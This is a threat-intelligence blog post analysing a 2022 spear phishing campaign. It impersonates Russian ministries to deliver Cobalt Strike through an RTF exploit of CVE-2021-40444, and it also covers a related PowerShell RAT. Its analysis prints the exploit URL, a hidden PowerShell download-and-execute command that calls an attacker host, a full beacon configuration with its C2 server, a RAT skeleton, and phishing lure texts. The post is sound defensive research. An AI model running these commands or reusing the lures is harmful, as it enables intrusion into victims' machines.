New spear phishing campaign targets Russian dissidents

tion blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents

Threat Intelligence Team

March 29, 2022



Министерство информационных технологий и связи Российской Федерации

ДОКУМЕНТ ПОДПИСАН ЭЛЕКТРОННОЙ ЦИФРОВОЙ ПОДПИСЬЮ (ЭЦП) ПРИДЕРЖИВАЙТЕСЬ ПРИВЕДЕННЫХ НИЖЕ ИНСТРУКЦИЙ ДЛЯ ОТОБРАЖЕНИЯ СОДЕРЖИМОГО ДОКУМЕНТА

This blog post was authored by Hossein Jazi.

- Updated to clarify the two different campaigns (Cobalt Strike and Rat)

Several threat actors have taken advantage of the war in Ukraine to launch a number of cyber attacks. The Malwarebytes Threat Intelligence team is actively monitoring these threats and has observed activities associated with the geopolitical conflict.

More specifically, we've witnessed several APT actors such as <u>Mustang Panda</u>, <u>UNC1151</u> and <u>SCARAB</u> that have used war-related themes to target mostly Ukraine. We've also observed several different <u>wipers</u> and cybercrime groups such as <u>FormBook</u> using the same tactics. Beside those known groups we saw an <u>actor</u> that used multiple methods to deploy a variants of Quasar Rat. These methods include using documents that exploit CVE-2017-0199 and CVE-2021-40444, macro-embedded documents, and executables.

On March 23, we identified a new campaign that instead of targeting Ukraine is focusing on Russian citizens and government entities. Based on the email content it is likely that the threat actor is targeting people that are against the Russian government.

The spear phishing emails are warning people that use websites, social networks, instant messengers and VPN services that have been banned by the Russian Government and that criminal charges will be laid. Victims are lured to open a malicious attachment or link to find out more, only to be infected with Cobalt Strike.

Spear phishing as the main initial infection vector

These emails pretend to be from the "Ministry of Digital Development, Telecommunications and Mass Communications of the Russian Federation" and "Federal Service for Supervision of Communications, Information Technology and Mass Communications" of Russia.

We have observed two documents associated with this campaign that both exploit CVE-2021-40444. Even though CVE-2021-40444 has been used in a few attacks in the past, to the best of our knowledge this was the first time we observed an attacker use RTF files instead of Word documents to exploit this vulnerability. Also the actor leveraged a new variant of this exploit called CABLESS in this attack. <u>Sophos</u> has reported an attack that used a Cabless variant of this exploit but in that case the actor has not used the RTF file and also used RAR file to prepend the WSF data to it.

Email with RTF file:

- Федеральная служба по надзору в сфере связи, информационных технологий и массовых коммуникаций (Federal Service for Supervision of Communications, Information Technology and Mass Communications)
- Предупреждение! Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации (A warning! Ministry of Digital Development, Telecommunications and Mass Media of the Russian Federation)

🖬 5 0			Федеральная служба по надз	ору в сфере связи, информа.	ионных технологий и мас	совых комму	никаций - Message (Plain Text)	± - 1	e x
File Messa	ge 🛛 🖓 Tell me what you want to do								
Junk - Delete	Reply Reply Forward More -	[™] Create New Quick Steps	Move	Mark Categorize Follow Unread - Up -	Translate	Zoom			^
Федер • We removed ext	альная служба по надзору в сфер ra line breaks from this message.	е связи, информационных технолог	ий и массовых коммуника	ций				<u> </u> 1	None
PKH.rtf 369 KB	•								
Предупреждени	e!!!								
В связи с введен быть бдительны Перечень запре	ием уголовной ответственности на те м и строго выполнять все рекоменда цённых сервисов во вложении к данн	рритории Российской Федерации за ис ция и требования Роскомназдора. кому письму.	пользование веб-сайтов, со	циальных сетей и мессен,	укеров уведомляем, чт	то Роскомна	адзор начинает активный мониторинг и фиксацию нарушителей, в том числе использующих VPN-се	рвисы. Просъб	5a
С уважением,									
Федеральная служба по надзору в сфере связи, информационных технологий и массовых коммуникаций									

Figure 1: Phishing template

- 🖬 – S –					
File	Message 🛛 🖓 Tell me what you want to do				
SJunk - De	Reply Reply Forward More -	Create New Over	Mark Categorize Follow Unread Up Follow	Zoom	
Delete	Respond	Quick Steps 5 Move	Tags G Editing	Zoom	^
Пр We remove	редупреждение! Министерство цифрог id extra line breaks from this message.	вого развития, связи и массовых коммуникаций Российской	Федерации		₿1 None
PKH.rtf 369 KB	•				
Предупрежи	дение!				
Будьте бдит Список прил	ельны при использовании этих интернет р загается.	pecypcos.			
 Ининстерство цифорлого развития, связя и массовых коммуникаций Российской Федераци					

Figure 2: Phishing template

Email with archive file:

- информирование населения об критических изменениях в сфере цифровых технологий, сервисов, санкций и уголовной ответственности за их использование. (informing the public about critical changes in the field of digital technologies, services, sanctions and criminal liability for their use.)
- Внимание! Информирует Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации (Attention! Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation)

B 5	U	- + - + = =			информирование населе	ния об крит	ческих изменения	в сфере и	цифровых тех	нологий, се	овисов, санкций к	уголовной	юй ответственности за их использование Message (Plain Text)	Ŧ	- é	5 ×
File	Message	e 🛛 🖓 Tell me wh														
Junk -	Delete	Reply Reply F	Forward More -	🎙 Create New	Quick Steps	Me G	Actions *	Mark Unread	Categorize Fr	billow Trar	slate Editing	Zoom	n			~
We remo	информ ved extra	ирование насе line breaks from th	еления об критиче	ских изменени	ях в сфере цифровы:	к технолог	ий, сервисов, са	нкций и	уголовной	ответстве	нности за их и	спользое	ование.		8 1	None
R PKH.ra 62 KB	ar	*														
Продупремдение!!!																
В связи с введением уполовной ответственности на территории просийской Федерации за использование веб-сайтов, социальных сетей и мессенджеров уведомляем, что Роскомнадзор начинает активный монитории и фиксацию нарушителей, в том числе использующих VPN-сервисы. Просьба быть бдительным и строи вымотить все рекомендиции и требовании Роскомназдора. Перечень запрещённых сервисов во вложении к данному письму.																
С уважени	ем,															
Федераль	Федеральная служба по надзору в сфере связи, информационных технологий и массовых коммуникаций						ій									

Figure 3: Phishing template

Email with link:

Внимание! Информирует Министерство цифрового развития, связи и массовых коммуникаций Российской Федерации (Attention! Informs the Ministry of Digital Development, Communications and Mass Media of the Russian Federation)

⊟ 5 0 ↑ ♦											5 ×
File Message Q Tell m	e what you want to do										
Belete	y Forward More - Respond	W Quick Steps	Actions - Mark Unread	Categorize Follow Up * Tags 5	P Find Related - Select - Editing	Zoom					^
Внимание! Инфорг We removed extra line breaks fro	иирует Министерство цифрового m this message.	развития, связи и массовых коммун	икаций Российской Фе	едерации							None
Предупреждение!!!											
В связи с введением уголовно быть бдительным и строго вы Перечень запрещённых ресур https://www.digital-ministry.ru	й ответственности на территории Роо полнять все рекомендация и требова сов можно загрузить по ссылке: /Public_info/PKH.rtf	ссийской Федерации за использование вния Роскомназдора.	веб-сайтов, социальных	сетей и мессенджер	ов уведомляем, чт	о Роскомнадзор н	начинает активный мониторин	г и фиксацию нарушите.	іей, в том числе используюї	щих VPN-сервисы. Пр	осьба
С уважением,											

Figure 4: phishing template

Victimology

The actor has sent its spear phishing emails to people that had email with these domains:

mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, yandex.ru, stavminobr.ru, mon.alania.gov.ru, astrobl.ru, 38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru, 66.fskn.gov.ru, bk.ru, ukr.net Based on these domains, here is the list of potential victims:

- Portal of authorities of the Chuvash Republic Official Internet portal
- Russian Ministry of Internal Affairs
- ministry of education and science of the republic of Altai
- Ministry of Education of the Stavropol Territory
- Minister of Education and Science of the Republic of North Ossetia-Alania
- Government of Astrakhan region
- Ministry of Education of the Irkutsk region
- Portal of the state and municipal service Moscow region
- Ministry of science and higher education of the Russian Federation

Analysis:

The lures used by the threat actor are in Russian language and pretend to be from Russia's "Ministry of Information Technologies and Communications of the Russian Federation" and "MINISTRY OF DIGITAL DEVELOPMENT, COMMUNICATIONS AND MASS COMMUNICATIONS". One of them is a letter about limitation of access to Telegram application in Russia.

Side by Side hronous Scrolling t Window Position	Switch Windows •	Macros Macros		
	 МИНИСТ СВЯЗИ Г Р Ф ПО F ИНФОР И МАС Катайго тел. 14.03.2022. На О направле обращения	Герство цифрового развития, и массовых коммуникаций оссийской федерации Едеральная служба Надзору в Сфере связи, мационных технологии совых коммуникаций (роскомнадзор) водан праси, з. 7, стр. 2, Мосаа, 109074 Даж: (405) 983-33-93; <u>виг./Укр. ког.ев.</u> № 05-47019 нии шаблонов на типовые граждан	Руководителям территориальных управлений Роскомнадзора по федеральным округам Руководителям территориальных управлений Роскомнадзора	
	В д от 15.05.2 по вопро с блокир Telegram Про Пря	Уважаем ополнении к письмам Роск 2021 № 05-41498 направляю су, связанному с ограничени овкой на территории Россий (прилагается). ощу использовать в работе пр иложение: упомянутое в текст	ые коллеги! омнадзора от 26.04.2022 № 05-35077 и шаблон на типовые обращения граждан ем доступа к интернет-ресурсам в связи ской Федерации доступа к мессенджеру и рассмотрении подобных обращений. е на 3 л. в 1 экз.	
	Начальни контроля электроні	ик Управления и надзора в сфере ных коммуникаций Сенерине Баланов Баланов Сооронов Баланов Сооронов Сооронов Баланов Сооронов С	Е.Ю. Зайцев	
	Henomarrens: Ten.: 8 (495) St	Качалова С.А. 87-43-46 доб. 504		

Figure 5: Lure letter



Figure 6: Lure template

These RTF files contains an embedded url that downloads an html file which exploits the vulnerability in the MSHTML engine.

http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html

The html file contains a script that executes the script in WSF data embedded in the RTF file.

The set of the set of

Figure 7: html file

The actor has added WSF data (Windows Script Host) at the start of the RTF file. As you can see from figure 8, WSF data contains a JScript code that can be accessed from a remote location. In this case this data has been accessed using the downloaded html exploit file.

00000000 7B 5C 72 74 66 31 7B 5C 70 61 72 20 5C 76 20 3C {\rtfl{par \v < 00000010 6A 6F 62 3E 3C 73 63 72 69 70 74 20 6C 61 6E 67 job><script lang 00000020 75 61 67 65 3D 22 4A 53 63 72 69 70 74 22 3E 76 uage="JScript">v 00000030 61 72 20 78 20 3D 20 6E 65 77 20 41 63 74 69 76 ar x = new Activ 00000040 65 58 4F 62 6A 65 63 74 28 22 57 53 63 72 69 70 eXObject("WScrip 00000050 74 2E 73 68 65 6C 6C 22 29 3B 78 2E 52 75 6E 28 t.shell");x.Run(00000060 22 70 6F 77 65 72 73 68 65 6C 6C 2E 65 78 65 20 "powershell.exe 00000070 2D 77 69 6E 64 6F 77 73 74 79 6C 65 20 68 69 64 -windowstyle hid 00000080 64 65 6E 20 24 50 72 6F 67 72 65 73 73 50 72 65 den \$ProgressPre 00000090 66 65 72 65 6E 63 65 20 3D 20 27 53 69 6C 65 6E ference = 'Silen 000000A0 74 6C 79 43 6F 6E 74 69 6E 75 65 27 3B 20 49 6E tlyContinue'; In 000000B0 76 6F 6B 65 2D 57 65 62 52 65 71 75 65 73 74 20 voke-WebRequest 000000C0 27 68 74 74 70 3A 2F 2F 77 61 6C 6C 70 61 70 65 'http://wallpape 000000D0 72 2E 73 6B 69 6E 2F 6F 66 66 69 63 65 2F 75 70 r.skin/office/up 000000E0 64 61 74 65 73 2F 47 74 6B 6A 64 73 6A 6B 79 4C dates/GtkjdsjkyL 000000F0 6B 6A 68 73 54 59 68 64 73 64 2F 70 75 74 74 79 kjhsTYhdsd/putty 00000100 2E 65 78 65 27 20 2D 4F 75 74 46 69 6C 65 20 24 .exe' -OutFile \$ 00000110 65 6E 76 3A 54 45 4D 50 5C 5C 70 75 74 74 79 2E env:TEMP\\putty. 00000120 65 78 65 3B 20 2E 20 24 65 6E 76 3A 54 45 4D 50 exe; . \$env:TEMP 00000130 5C 5C 70 75 74 74 79 2E 65 78 65 3B 20 53 74 61 \\putty.exe; Sta 00000140 72 74 2D 53 6C 65 65 70 20 31 35 22 29 3B 3C 2F rt-Sleep 15");</ 00000150 73 63 72 69 70 74 3E 3C 2F 6A 6F 62 3E 7D 5C 61 script></job>}\a

Figure 8: WSF data

Executing this scripts leads to spawning PowerShell to download a CobaltStrike beacon from the remote server and execute it on the victim's machine. (The deployed CobaltStrike file name is Putty)

```
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden
$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest
'http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe' -OutFile
$env:TEMP\putty.exe; . $env:TEMP\putty.exe; Start-Sleep 15
```

The following shows the CobaltStrike config:

```
{
  "BeaconType": [
    "HTTPS"
  ],
  "Port": 443,
  "SleepTime": 38500,
  "MaxGetSize": 1398151,
  "Jitter": 27,
  "C2Server": "wikipedia-book.vote,/async/newtab_ogb",
  "HttpPostUri": "/gen_204",
  "Malleable_C2_Instructions": [
    "Remove 17 bytes from the end",
    "Remove 32 bytes from the beginning",
    "Base64 URL-safe decode"
  ],
  "SpawnTo": "/4jEZLD/DHKDj1CbBvlJIg==",
  "HttpGet_Verb": "GET",
  "HttpPost_Verb": "POST",
  "HttpPostChunk": 96,
  "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe",
  "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe",
  "CryptoScheme": 0,
  "Proxy_Behavior": "Use IE settings",
  "Watermark": 1432529977,
  "bStageCleanup": "True",
  "bCFGCaution": "True",
  "KillDate": 0,
  "bProcInject_StartRWX": "True",
  "bProcInject_UseRWX": "False",
  "bProcInject_MinAllocSize": 16700,
  "ProcInject_PrependAppend_x86": [
    "kJCQ",
    "Empty"
  ],
  "ProcInject_PrependAppend_x64": [
    "kJCQ",
    "Empty"
  ],
  "ProcInject_Execute": [
    "ntdll.dll:RtlUserThreadStart",
    "SetThreadContext",
    "NtQueueApcThread-s",
    "kernel32.dll:LoadLibraryA",
    "RtlCreateUserThread"
  ],
  "ProcInject_AllocationMethod": "NtMapViewOfSection",
  "bUsesCookies": "True",
  "HostHeader": ""
}
```

Similar lure used by another actor

We also have identified activity by another actor that uses a similar lure as the one used in the previously mentioned campaign. This activity is potentially related to <u>Carbon Spider</u> and uses "Федеральная служба по надзору в сфере связи, информационных технологий и массовых коммуникаций" (Federal Service for Supervision of Communications, Information Technology and Mass Communications) of Russia as a template. In this case, the threat actor has deployed a PowerShell-based Rat.

Arrange All	Split Cl View Side by Side Split Cl View Side by Side Synchronous Sc Reset Window P Window	rolling Switch Position Windows •	Aacros Macros		
				1	
	٢	ФЕДЕРАЛЬНАЯ СЛУЖБА ПО Н ИНФОРМАЦИОННЫХ ТЕХНОЛ	АДЗОРУ В СФЕРЕ СВЯЗИ, ОГИЙ И МАССОВЫХ КОММУНИКАЦИЙ		
	PU	JCKUM	НАДЗОР		
	ДОК Для про расшиф 1) Нажм формат 2) Нажм Місгозо	УМЕНТ ЗАЩИЩЕ смотра документа необходим ровки документа, зашифрова ите "Включить редактирован ирование текста. чите "Включить содержимое' ft Office для открытия докуми	Н ны шаги для полной нного «РОСКОМНАДЗОР». ние", чтобы разблокировать ", чтобы выполнить ядро расшифровки ента.		
Malwarebytes Anti-Exploit					
		Ma blo	alwarebytes Anti-Exploit ha ocked an exploit attempt	IS	
		Application:	Microsoft Office Word		
		Protection Layer:	Application Behavior Protection		
		Protection Technique:	Exploit payload process blocked		
		File/Process Blocked:	C:\Windows\System32\WindowsPowerShell\v1.0\power	shell.exe C	
		Attacking URL:	N/A		
		Malwarebytes		Close	

Figure 9: template

The dropped PowerShell script is obfuscated using a combination of Base64 and custom obfuscation.

<pre>Spice 1 yets. Tex. Tex. Tex. Tex. Tex. Tex. Tex. Tex</pre>
\$r9n = 0
Juhile (STRAp -le Skylima Length - 1) {
SQUARZ = SQUARZ + [cnar][int][[int][cnar]SWGIMM.SUDSTING(STMAP, 1) - [int][cnar]SRYYZ.SUDSTING(STMn, 1))
<pre>gisu to 1 if (Sr9m - ag SRvyz,Length) (Sr9m = 0)</pre>
v (Aran of Anithmetical Aran -)
iex 8Qquz2

Figure 10: Dropped PS script

After deobfuscating the script, you can see the Rat deployed by this actor. This PowerShell based Rat has the capability to get the next stage payload and execute it. The next stage payload can be one of the following file types:

- JavaScript
- PowerShell
- Executable
- DLL

All of Its communications with its server are in Base64 format. This Rat starts its activity by setting up some configurations which include the C2 url, intervals, debug mode and a parameter named group that initialized with "Madagascar" which probably is another alias of the actor.

After setting up the configuration, it calls the "Initialize-Engine" function. This function collects the victim's info including OS info, Username, Hostname, Bios info and also a host-domain value that shows if the machine in a domain member or not. It then appends all the collected into into a string and separate them by "|" character and at the end it add the group name and API config value. The created string is being send to the server using *Send-WebInit* function. This function adds "INIT%%%" string to the created string and base64 encodes it and sends it to the server.

<pre>SURL = 'https://suroidks.com' Stateval = 6 Storup = 'https://suroidks.com' Storup = 'ntadagasksr" Skpi = "ttklfitt" fregins Strip parameters initialization fregins Acting States Storup = 'ntadagasksr" Skpi = "ttklfitt" fregins Strip parameters initialization fregins Acting States fregins fregins Acting States fregins fregins Acting States fregins fregins</pre>	<pre># \$URL = ""; \$Interval = nn; \$Log = "file-spec"; \$Debug = \$true \$false; \$Autoremove = \$true \$false; \$Group = "";</pre>
<pre>\$Interval = 60 Spromy = %Tales Spromy = %Tales Spromy = %Tales Spromy = %Tales function Out-Info([String] Smsg) { function Out-Info([String] Smsg) { function Convert-ToBase64([string] StheSource) { function Renove-Myzelf { function Convert-ToBase64([string] StheSource) { function Format-LongString(Sdata) { function Format-LongString(Sdata) { function Send-Webpury() { function Send-Webpury() { function Send-Webpury() { function Send-Webpury() { function Send-Webpury() { function Send-Webpursk { function Invoke-ISTASK { function Invoke-I</pre>	<pre>\$URL = 'https://swordoke.com'</pre>
<pre>Spebug = files Spromp = "mikadgabar" Spring = "mikadgabar" Spring = "mikaDitki" Fregion Script parameters initialization Fregion A Script parameters initialization Fregion Script parameters initialization Frequent Script parameters initialization function Out-Debug(fasg) { function Out-Debug(fasg) { function Remove-Myself { function Sect-TypeErase(itering) \$theSource) { function Sect-TypeErase(itering) function France Script (function Sect-Task (function I nvokeICTask (function I nvokeICTask (function I nvokeICTask (function I nvokeICTask (function Sect-Task (function Sect-Task (function Sect-Task (function Sect-Task (function I nvokeICTask (</pre>	<pre>\$Interval = 60</pre>
<pre>S0rcop = "madagaskar" S0rcop = "madagas</pre>	<pre>\$Debug = \$false</pre>
<pre>Spli = ****PTi*** Segion Script parameter initialization Fregion Script parameters initialization Fregion Area functions function Out-Debug(Smag) { function Remove-Myself { function Convert-ToBase6f(Istring) \$theSource) { function Convert-ToBase6f(Istring) \$theSource) { function Encode-CondOutput { function Encode-CondOutput { function Encode-CondOutput { function Send-WebPutTask { function Send-WebPutTask { function Send-WebPutTask { function Invoke-IGTask { function Invoke-Jafask { function Invoke-Jafask { function Invoke-Task(setA) { function Send-Kelal { function Invoke-Jafask { function Invoke-Task { fu</pre>	\$Group = "madagaskar"
<pre>iregion Script parameters initialization firegion + Helper functions function Convert-ToBase64((string) \$theSource) (function funct-Convert-ToBase64((string) \$theSource) (function funct-Convert-ToBase64((string) \$theSource) (function funct-Convert-ToBase64((string) \$theSource) (function functor function funct</pre>	\$Api = "%%%API%%%"
<pre>iregion + Helper functions function Out-Info((String) Smsg) { function Out-Info((String) SteSource) (function Cenvert-ToBase64([string] \$theSource) (function Cert-TypeHead(Shead) { function Format-LongString(Sdata) { function format-LongString(Sdata) { function Send-WebQuery() { Function Send-WebPutTask { Function Send-WebPutTask { function Incode-OmdOutput { function Incode-Indoutput { function Incode-Indoutput</pre>	<pre>#region Script parameters initialization</pre>
<pre>function Out-Info([String] Smsg) { function Out-Debug(smsg) { function Remove-Hyself { function Remove-Hyself { function Get-TypeHead(Shead) { function Get-TypeHead(Shead) { function Format-LongString(Sdata) { function Format-LongString(Sdata) { function Send-WebQuery() { function Invoke-ISTask { function functore function Send-WebQuery() { function Invoke-Jarak { function funcke-Parak { function Invoke-Jarak { fun</pre>	#region + Helper functions
<pre>function Out-Debug(§msg) { function Remove-Hygelf { function Remove-Hygelf { function Remove-Hygelf { function Convert-ToBase61(fstring) §theSource) { function Send-NebDiring(§thead) { function Remove-Hygelf { function Send-WebDiring({ function Send-WebDiring({ function Send-WebDiring({ function Invoke-Issk { function Invoke-Issk { function Invoke-Issk { function Invoke-JsTask { function Invoke-Stark { function Invok</pre>	<pre>function Out-Info([String] \$msg) {</pre>
<pre>function Remove-Myself (function Remove-Myself (function Convert-ToBase64([string] \$theSource) (function forcat-LongString(§data) (function Encode-Cmedoutput { Function Send-WebPutTask (Function Send-WebPutTask (function Send-WebPutTask (function Inpock-Task (function Invoke-ICTask (function Invoke-JETask (function Invoke-JETask (function Invoke-ZeTask (function Invoke-ZeTask</pre>	function Out-Debug(\$msg) {
<pre>function Convert-ToBase6i([string] \$theSource) { function Cet-TypeHead(\$head) { function Fromat-LongString(\$data) { function Encd=CmdOutput { Function Send-WebQuery() { Function Send-WebQuery() { Function Send-WebQuertSak { fendrepion function Invoke-Task { function Invoke-ITask { function Invoke-JETask { function Intitalize-Engine { function Invoke-JETask { function Remove-JETASK { funct</pre>	function Remove-Myself {
<pre>function Convert-ToBase64(!string] %theSource) { function Get-TypeHead(%head) { function Encode-CandOutput { Function Send-WebQery() { Function Send-WebQerTask { Function Send-WebQerTask { function Invoke-ICTask { function Invoke-ICTask { function Invoke-ICTask { function Invoke-PTAsk { function Invoke-SetTask { function Invoke-Task { function Invoke-Task { function Invoke-Task { function Invoke-Task { function Invoke-PTAsk { function Invoke-PTAsk { function Invoke-Task { function Invoke-T</pre>	
<pre>function Get-TypeHead(\$head) { function Format-LongString(\$data) { function Format-LongString(\$data) { function Send-WebQuery() { Function Send-WebPutTask { Function Send-WebPutTask { Function Send-WebGetTask { fendregion function funcke-Task { function funcke-Task { function funcke-Jask { function funcke-Jask { function funcke-Task { funckeiTask { funckeiTask { funckeiTask { funckeiTask { funckeiTask { f</pre>	<pre>function Convert-ToBase64([string] \$theSource) {</pre>
<pre>function Format-LongString(\$data) { function Encode-CmdOuput { Punction Send-WebQuery() { Punction Send-WebPutTask { Punction Send-WebGetTask { function Send-WebGetTask { function Unpack-Task { function Inpack-Task { function Invoke-Engine {</pre>	function Get-TypeHead(\$head) {
<pre>function Encode-CmdOutput { Panction Send-WebQuery() { Panction Send-WebPuTask { Panction Send-WebPuTask { Panction Send-WebGetTask { Panction Send-WebGetTask { Panction Task Control function Unpack-Task { function Invoke-ICTask { function Invoke-ICTask { function Invoke-PaTask { function Invoke-DilTask { function Invoke-DilTask { function Invoke-Task { function Invoke-Tas</pre>	<pre>function Format-LongString(\$data) {</pre>
Function Send-WebQuery() { Panction Send-WebCuTask { Punction Send-WebCuTask { fendregion #region Task Control function Unpack-Task { function Invoke-ICTask { function Invoke-Intrask { function Invoke-Intrask { function Invoke-Ingine { function Invoke-Engine { function Invoke-Ingine { function Invoke-Ingine<	function Encode-CmdOutput {
<pre>Function Send-WebEnit { Function Send-WebEvtTask { Function Send-WebEvtTask { Function Send-WebEvtTask { function Send-WebEvtTask { function Unpack-Task { function Invoke-JETask { function Invoke-JETask { function Get-TaskOutput(\$theJob) { function Invoke-FsTask { function Invoke-FsTask { function Invoke-JETAsk { function Invoke-JETAsk { function Invoke-JETAsk { function Invoke-Task { function Invoke-Task</pre>	Function Send-WebQuery() {
Punction Send-WebPutTask { Punction Send-WebPutTask { Punction Send-WebPutTask { fendreqion tregion Task Control function Unpack-Task { function Unpack-Task { function Invoke-ICTask { function Cet-TaskOutput(\$theJob) { function Invoke-Jatask { function Invoke-Jatask { function Invoke-Jatask { function Invoke-Task { function Invoke-Task { function Start-ScriptBlock(\$seblk) { function Invoke-Task { function Invoke-Tasks { fu	Function Send-WebInit {
<pre>Function Send-WebPutTask { Punction Send-WebPutTask { fendregion fragion Task Control function Unpack-Task { function Unpack-Task { function Invoke-ICTask { function Get-TaskOutput (\$theJob) { function Invoke-JaTask { function Invoke-JaTask { function Invoke-JaTask { function Invoke-Tasks { function Invoke-Task { function Invoke-Tasks { function In</pre>	
Function Send-WebGetTask { #endregion #region Task Control function Unpack-Task { function Invoke-ICTask { function Kill-PSTask() { function Invoke-PSTask { function Invoke-Task { function Invoke-Task { function Invoke-Task { function Invoke-Task { fendregion #region + Engine control function Invoke-Engine { function Invoke-Engine { function Invoke-Engine { function Remove-Engine { fendregion #region + Main try { Remove-Engine #endregion	Function Send-WebPutTask {
<pre>\$endregion \$region Task Control function Unpack-Task { function Invoke-ICTask { function Invoke-ICTask (function In</pre>	Function Send-WebGetTask {
<pre>fregion Task Control function Unpack-Task (function Invoke-ICTask (function Get-TaskOutput(StheJob) { function Invoke-PSTask (function Invoke-PSTask (function Invoke-DSTask (function Invoke-DITask (function Invoke-Task (function Invoke-Task (fendregion fregion + Engine control function Invoke-Engine { function Invoke-Engine { function Invoke-Engine { function Invoke-Engine { fendregion try { fendregion fendion Remove-Engine { fendingion fendion Remove-Engine { fendingion fendingion fendingion fendingion function Invoke-Engine { fendregion fendingion fen</pre>	#endregion
<pre>function Unpack-Task { function Invoke-ICTask { function Kill-PSTask() { function Kill-PSTask() { function Invoke-FaTask { function Invoke-FaTask { function Invoke-ExeTask { function Invoke-ExeTask { function Start-ScriptBlock(\$scblk) { function Invoke-Task { fendregion function Initialize-Engine { function Invoke-Engine { function Invoke-Engine { function Invoke-Engine { fendregion function Invoke-Engine { fendregion function Invoke-Engine { fendregion function Invoke-Engine { fendregion fending function funct</pre>	#region Task Control
<pre>function Invoke-ICTask { function Kill-PSTask() { function Get-TaskOutput(\$theJob) { function Invoke-PsTask { function Invoke-PsTask { function Invoke-SetTask { function Invoke-DllTask { function Start-ScriptBlock(\$scblk) { function Start-ScriptBlock(\$scblk) { function Invoke-Task { fendregion fregion + Engine control ffunction Check-Tasks { function Invoke-Engine { function Invoke-Engine { fendetgion fendetgion fendetgion fendetgion fendetgion fendetgion fendetgion function Invoke-Engine { function Invoke-Engine { fendetgion fe</pre>	function Unpack-Task {
<pre>function Invoke-ICTask { function Kill-PSTask() { function Get-TaskSutput(\$theJob) { function Invoke-PsTask { function Invoke-JsTask { function Invoke-DIlTask { function Invoke-DIlTask { function Start-ScriptBlock(\$scblk) { function Invoke-Task { fendregion fregion function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Invoke-Engine { fendregion fendregion fendregion fendregion function Invoke-Engine { function Invoke-Engine { fendregion fendregion fendregion fendregion fendregion fendregion fendregion function Invoke-Engine { fendregion fendregion fendregion fendregion fergion + Main try { Remove-Engine fendregion </pre>	
<pre>function Kill-PSTask() { function Get-TaskOutput(\$theJob) { function Invoke-PSTask { function Invoke-JSTask { function Invoke-JSTask { function Invoke-JITask { function Start-ScriptBlock(\$scblk) { function Invoke-Task { fendregion fregion + Engine control function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Fast { fendregion fergion + Main try { Remove-Engine fendregion </pre>	function Invoke-ICTask {
<pre>function Get-TaskOutput(\$theJob) { function Invoke-PsTask { function Invoke-JsTask { function Invoke-ExeTask { function Invoke-DllTask { function Start-ScriptBlock(\$scblk) { function Invoke-Task {</pre>	function Kill-PSTask() {
<pre>function Invoke-PsTask { function Invoke-JsTask { function Invoke-ExeTask { function Invoke-ExeTask { function Invoke-DlTask { function Invoke-Task { fendregion fregion + Engine control function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Remove-Engine { fendregion fregion + Main try { Remove-Engine } </pre>	function Get-TaskOutput(\$theJob) {
<pre>function Invoke-JsTask { function Invoke-ExeTask { function Invoke-DllTask { function Start-ScriptBlock(\$scblk) { function Invoke-Task { fendregion fregion + Engine control function Initialize-Engine { function Check-Tasks { function Remove-Engine { function Remove-Engine { fendregion fregion + Main try { Remove-Engine fendregion </pre>	function Invoke-PsTask {
<pre>function Invoke-ExeTask { function Invoke-DilTask { function Start-ScriptBlock(\$scblk) { function Invoke-Task { #endregion #region + Engine control function Initialize-Engine { function Check-Tasks { function Remove-Engine { function Remove-Engine { #endregion #region + Main try { Remove-Engine #endregion } } </pre>	function Invoke-JsTask {
<pre>function Invoke-DllTask { function Start-ScriptBlock(\$scblk) { function Invoke-Task { #endregion #region + Engine control function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Remove-Engine { fendregion #region + Main try { Remove-Engine #endregion</pre>	function Invoke-ExeTask {
<pre>function Start-ScriptBlock(\$scblk) { function Invoke-Task { #endregion #region + Engine control function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Remove-Engine { fendregion #region + Main try { Remove-Engine #endregion #endregion #region + Main try { Remove-Engine #endregion #endregion #endregion #endregion #region + Main try { Remove-Engine #endregion #endregion</pre>	function Invoke-DllTask {
<pre>function Invoke-Task { #endregion #region + Engine control function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Remove-Engine {</pre>	<pre>function Start-ScriptBlock(\$scblk) {</pre>
<pre>#endregion #region + Engine control function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Remove-Engine { #endregion #region + Main try { Remove-Engine #endregion </pre>	function Invoke-Task {
<pre>#region + Engine control function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Remove-Engine { fendregion #region + Main try { Remove-Engine #endregion</pre>	#endregion
<pre>#region + Engine control function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Remove-Engine { fendregion #region + Main try { Remove-Engine #endregion</pre>	
<pre>function Initialize-Engine { function Check-Tasks { function Invoke-Engine { function Remove-Engine { function Remove-Engine { fendregion fregion + Main try { Remove-Engine fendregion </pre>	#region + Engine control
<pre>function Check-Tasks { function Invoke-Engine { function Remove-Engine { fendregion #region + Main try { Remove-Engine #endregion </pre>	function Initialize-Engine {
<pre>function Check-Tasks { function Invoke-Engine { function Remove-Engine { fendregion fregion + Main try { Remove-Engine fendregion </pre>	
function Invoke-Engine { function Remove-Engine { #endregion #region + Main try { Remove-Engine #endregion	function Check-Tasks {
<pre>function Invoke-Engine { function Remove-Engine { fendregion fregion + Main try { Remove-Engine fendregion</pre>	· · ·
function Remove-Engine { #endregion #region + Main try { Remove-Engine #endregion	function Invoke-Engine {
<pre>#endregion #region + Main try { Remove-Engine #endregion</pre>	function Remove-Engine {
<pre>#region + Main try { Remove-Engine #endregion</pre>	#endregion
try { Remove-Engine #endregion	#region + Main
#endregion	try {
#endregion	Remove-Engine
	#endregion

Figure 11: PowerShell Rat

